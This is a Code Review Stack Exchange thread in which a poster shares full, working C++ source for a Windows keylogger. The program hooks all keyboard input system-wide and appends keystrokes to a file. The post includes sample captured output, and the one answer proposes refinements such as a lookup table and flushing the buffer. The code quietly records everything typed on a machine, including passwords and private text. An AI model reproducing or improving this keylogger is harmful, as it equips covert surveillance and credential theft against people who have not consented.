1
\$\begingroup\$

Now I have this repository. It's a key logger logging all the keyboard events possible. Note that some programs do not "leak" the keyboard events outside of their GUI. For example, Notepad++ is such a program: whatever you type in it, stays in it. As additional fun, in order to not abuse the entire system, the data is saved only in the chunks of 30 strings. Each digit/character is a string of length one. However, the special key codes end up in the file as, i.e., <VK_CAPITAL up>, <VK_LSHIFT down>, <VK_RMENU up>. The program requires one command line argument: the name of the file in which all the data will end up.

Code

#define _CRT_SECURE_NO_WARNINGS
#include <fstream>
#include <stdlib.h>
#include <windows.h>
#include <vector>
#include <string>

std::string fileName;
std::vector<std::string> codepointStringBuffer;

static BOOL CapsLockIsToggled() {
    return (GetKeyState(VK_CAPITAL) & 0x1) != 0;
}

static BOOL LeftShiftIsDown() {
    return (GetKeyState(VK_LSHIFT) & 0x8000) != 0;
}

static BOOL RightShiftIsDown() {
    return (GetKeyState(VK_RSHIFT) & 0x8000) != 0;
}

static void DumpCharacterBuffer() {

    std::ofstream ofs(fileName, std::ios_base::app);
    
    for (const std::string& codepointString : codepointStringBuffer) {
        ofs << codepointString;    }

    codepointStringBuffer.clear();
    ofs.close();
}

LRESULT CALLBACK KeyboardProc(int nCode,
                              WPARAM wParam, 
                              LPARAM lParam) {

    PKBDLLHOOKSTRUCT pHookStruct = (PKBDLLHOOKSTRUCT) lParam;
    int vkCode = pHookStruct->vkCode;

    switch (wParam) {
        case WM_KEYUP:
        case WM_SYSKEYUP:

            if (vkCode == VK_LSHIFT) {
                codepointStringBuffer.push_back(std::string("\n<VK_LSHIFT up>"));
            } else if (vkCode == VK_RSHIFT) {
                codepointStringBuffer.push_back(std::string("\n<VK_RSHIFT up>"));
            } else if (vkCode == VK_LMENU) {
                codepointStringBuffer.push_back(std::string("\n<VK_LMENU up>"));
            } else if (vkCode == VK_RMENU) {
                codepointStringBuffer.push_back(std::string("\n<VK_RMENU up>"));
            } else if (vkCode == VK_CAPITAL) {
                codepointStringBuffer.push_back(std::string("\n<VK_CAPITAL up>"));
            }

            if (codepointStringBuffer.size() >= 30) {
                DumpCharacterBuffer();
            }

            break;

        case WM_KEYDOWN:
        case WM_SYSKEYDOWN:

            if (vkCode == VK_LSHIFT) {
                codepointStringBuffer.push_back(std::string("\n<VK_LSHIFT down>"));
            } else if (vkCode == VK_RSHIFT) {
                codepointStringBuffer.push_back(std::string("\n<VK_RSHIFT down>"));
            } else if (vkCode == VK_LMENU) {
                codepointStringBuffer.push_back(std::string("\n<VK_LMENU down>"));
            } else if (vkCode == VK_RMENU) {
                codepointStringBuffer.push_back(std::string("\n<VK_RMENU down>"));
            } else if (vkCode == VK_SPACE) {
                codepointStringBuffer.push_back(std::string("\n<SPACE>"));
            } else if (vkCode == VK_CAPITAL) {
                codepointStringBuffer.push_back(std::string("\n<VK_CAPITAL down>"));
            } else if (vkCode == VK_RETURN) {
                codepointStringBuffer.push_back(std::string("\n<RETURN>\n"));
            } else if (vkCode == VK_BACK) {
                codepointStringBuffer.push_back(std::string("\n<BACKWARDS>"));
            } else if (vkCode == VK_TAB) {
                codepointStringBuffer.push_back(std::string("\n<TAB>"));
            } else {
                char ch = (char) vkCode;

                BOOL lowerCase;

                if (LeftShiftIsDown() || RightShiftIsDown()) {
                    lowerCase = !CapsLockIsToggled();
                } else {
                    lowerCase = CapsLockIsToggled();
                }

                if (lowerCase) {
                    if (std::isalnum(vkCode)) {
                        std::string s{ ch };
                        codepointStringBuffer.push_back(std::string("\n"));
                        codepointStringBuffer.push_back(s);
                    }
                } else {
                    if (std::isalnum(vkCode)) {
                        std::string s{ (char)(ch + 32) };
                        codepointStringBuffer.push_back(std::string("\n"));
                        codepointStringBuffer.push_back(s);
                    }
                }
            }

            if (codepointStringBuffer.size() > 30) {
                DumpCharacterBuffer();
            }
    }

    return CallNextHookEx(NULL, nCode, wParam, lParam);
}

int WinMain(HINSTANCE hInstance,
            HINSTANCE hPrevInstance,
            LPSTR pCmdLine,
            int nCmdShow) {

    fileName = pCmdLine;    

    // Mark the start of session:
    std::ofstream ofs(fileName, std::ios_base::app);
    ofs << "<START>";
    ofs.close();

    SetWindowsHookExA(WH_KEYBOARD_LL,
                      KeyboardProc,
                      NULL,
                      0);
    MSG msg;
        
    // Just seat in the memory while logging. :^)
    while (GetMessage(&msg, NULL, NULL, NULL)) {
        TranslateMessage(&msg);
        DispatchMessage(&msg);
    }

    return EXIT_SUCCESS;
}

Possible data file content May look like:

<START>
<VK_RSHIFT down>
A
F
T
E
R
<VK_RSHIFT up>
<SPACE>
s
o
m
e
<SPACE>
t
i
m
e
<SPACE>
o
n
<SPACE>
t
h
e
<SPACE>
<VK_CAPITAL down>
<VK_CAPITAL up>
G
Y
M
<SPACE>
<VK_CAPITAL down>
<VK_CAPITAL up>
<VK_LSHIFT down>
H
<VK_LSHIFT up>
e
<SPACE>
<VK_CAPITAL down>
<VK_CAPITAL up>
D
<VK_RSHIFT down>
e
c
<VK_LSHIFT down>
<VK_RSHIFT up>
i
<VK_LSHIFT up>
<VK_RSHIFT down>
d
<VK_RSHIFT up>
E
<VK_RSHIFT down>
d
<VK_RSHIFT up>
<SPACE>
T
O
<SPACE>
<VK_CAPITAL down>
<VK_CAPITAL up>
j
o
i
n
<SPACE>
a
<SPACE>
c
l
u
b
<SPACE>
o
f

Critique request

I would like to hear comments on how to improve my implementation.

\$\endgroup\$

1 Answer 1

0
\$\begingroup\$

Looks good, but there are some minor improvements that can be made.

From what I understood, virtual key spec for Windows can be described by the std::uint8_t's range. If it is true, then I would have

std::array<std::string, 256> vk_to_string;

and initialize it by casting the index into char except for the VK_ strings. Then the shift could be handled as modification function that modifies the input if it is a character or returns the input as is. This would simplify the event handling a bit, both in terms of code and in terms of weird constructs like switch that require different handling.

Also, I believe the keys are not flushed at the end, do they? Some tests would be great to answer those questions.

\$\endgroup\$

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.

Not the answer you're looking for? Browse other questions tagged or ask your own question.